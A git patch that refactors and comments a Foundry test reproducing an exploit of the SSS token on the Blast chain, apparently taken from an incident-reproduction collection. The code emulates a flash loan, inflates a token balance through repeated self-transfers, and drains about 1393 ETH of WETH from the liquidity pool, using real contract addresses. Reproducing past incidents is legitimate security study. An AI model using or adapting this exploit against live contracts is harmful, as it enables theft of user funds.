From 4e1205f7d82cc82c3c4a1f02cd9a8459b8f5fe93 Mon Sep 17 00:00:00 2001
From: Akshay CM <akshaycm@hotmail.com>
Date: Tue, 2 Apr 2024 16:49:40 +0400
Subject: [PATCH] fix: Rearrange code for readability

Add comments,rearrange code for simplicity
---
 src/test/SSS_exp.sol | 53 ++++++++++++++++++++++----------------------
 1 file changed, 26 insertions(+), 27 deletions(-)

diff --git a/src/test/SSS_exp.sol b/src/test/SSS_exp.sol
index 3b876c76..f677f014 100644
--- a/src/test/SSS_exp.sol
+++ b/src/test/SSS_exp.sol
@@ -14,28 +14,30 @@ import "./interface.sol";
 // https://twitter.com/dot_pengun/status/1770989208125272481
 
 interface ISSS is IERC20 {
-    function maxAmountPerAccount() external view returns (uint256);
     function maxAmountPerTx() external view returns (uint256);
     function burn(uint256) external;
 }
 
 contract SSSExploit is Test {
     address private constant POOL = 0x92F32553cC465583d432846955198F0DDcBcafA1;
-    Uni_Router_V2 private constant ROUTER_V2 = Uni_Router_V2(0x98994a9A7a2570367554589189dC9772241650f6);
     IWETH private constant WETH = IWETH(payable(0x4300000000000000000000000000000000000004));
     ISSS private constant SSS = ISSS(0xdfDCdbC789b56F99B0d0692d14DBC61906D9Deed);
+    Uni_Router_V2 private constant ROUTER_V2 = Uni_Router_V2(0x98994a9A7a2570367554589189dC9772241650f6);
     Uni_Pair_V2 private sssPool = Uni_Pair_V2(POOL);
 
+    uint256 ethFlashAmt = 1 ether;
+    uint256 expectedETHAfter = 1393.20696066122859944 ether;
+
     function setUp() public {
         vm.createSelectFork("blast", 1_110_245);
         WETH.approve(address(ROUTER_V2), type(uint256).max);
         SSS.approve(address(ROUTER_V2), type(uint256).max);
     }
 
-    function getPath() internal view returns (address[] memory path) {
+    function getPath(bool buy) internal view returns (address[] memory path) {
         path = new address[](2);
-        path[0] = address(SSS);
-        path[1] = address(WETH);
+        path[0] = buy ? address(WETH) : address(SSS);
+        path[1] = buy ? address(SSS) : address(WETH);
     }
 
     function testExploit() public {
@@ -43,51 +45,48 @@ contract SSSExploit is Test {
             "Attacker WETH balance before exploit", WETH.balanceOf(address(this)), WETH.decimals()
         );
 
-        uint256 ethFlashAmt = 1 ether;
+        //Emulate flashloan here with deal
         vm.deal(address(this), 0);
         vm.deal(address(this), ethFlashAmt);
         WETH.deposit{value: ethFlashAmt}();
 
-        uint256 maxAmountPerTx = SSS.maxAmountPerTx();
-        console.log("Max amount per transaction is", maxAmountPerTx);
-
-        _executeSwapOnV2(address(SSS), true, ethFlashAmt);
+        //Buy 1 eth of tokens
+        ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+            ethFlashAmt, 0, getPath(true), address(this), block.timestamp
+        );
 
-        uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath())[0];
+        //Transfer to self until balance reaches target bal
+        uint256 targetBal = ROUTER_V2.getAmountsIn(WETH.balanceOf(POOL) - 29.5 ether, getPath(false))[0];
         while (SSS.balanceOf(address(this)) < targetBal) {
             SSS.transfer(address(this), SSS.balanceOf(address(this)));
         }
 
+        //Burn excess tokens above target to avoid OVERFLOW error on swap on pair
         SSS.burn(SSS.balanceOf(address(this)) - targetBal);
         assertEq(SSS.balanceOf(address(this)), targetBal, "we exceeded target");
 
-        uint256 bal = SSS.balanceOf(address(this));
+        //Send balance of tokens to pair to swap in a loop,to avoid multiple swap calls
+        uint256 tokensLeft = targetBal;
+        uint256 maxAmountPerTx = SSS.maxAmountPerTx();
         uint256 SBalBeforeOnPair = SSS.balanceOf(POOL);
-        while (bal > 0) {
-            uint256 toSell = bal > maxAmountPerTx ? maxAmountPerTx - 1 : bal;
+        while (tokensLeft > 0) {
+            uint256 toSell = tokensLeft > maxAmountPerTx ? maxAmountPerTx - 1 : tokensLeft;
             SSS.transfer(POOL, toSell);
-            bal = SSS.balanceOf(address(this));
+            tokensLeft -= toSell;
         }
 
-        uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath())[1];
+        //Use swap function in pool to swap to weth
+        uint256 targetETH = ROUTER_V2.getAmountsOut(SSS.balanceOf(POOL) - SBalBeforeOnPair, getPath(false))[1];
         sssPool.swap(targetETH, 0, address(this), new bytes(0));
-        sssPool.skim(address(this));
 
+        //Emulate paying back flashloan
         WETH.transfer(address(1), ethFlashAmt);
 
-        assertEq(WETH.balanceOf(address(this)), 1393.20696066122859944 ether, "Not expected WETH BAL");
+        assertEq(WETH.balanceOf(address(this)), expectedETHAfter, "Not expected WETH BAL");
         assertEq(SSS.balanceOf(address(this)), 0, "All SSS tokens didn't get sold");
 
         emit log_named_decimal_uint(
             "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
         );
     }
-
-    function _executeSwapOnV2(address token, bool buy, uint256 amount) internal {
-        address[] memory path = new address[](2);
-        path[0] = buy ? address(WETH) : address(token);
-        path[1] = buy ? address(token) : address(WETH);
-
-        ROUTER_V2.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
-    }
-}
\ No newline at end of file
+}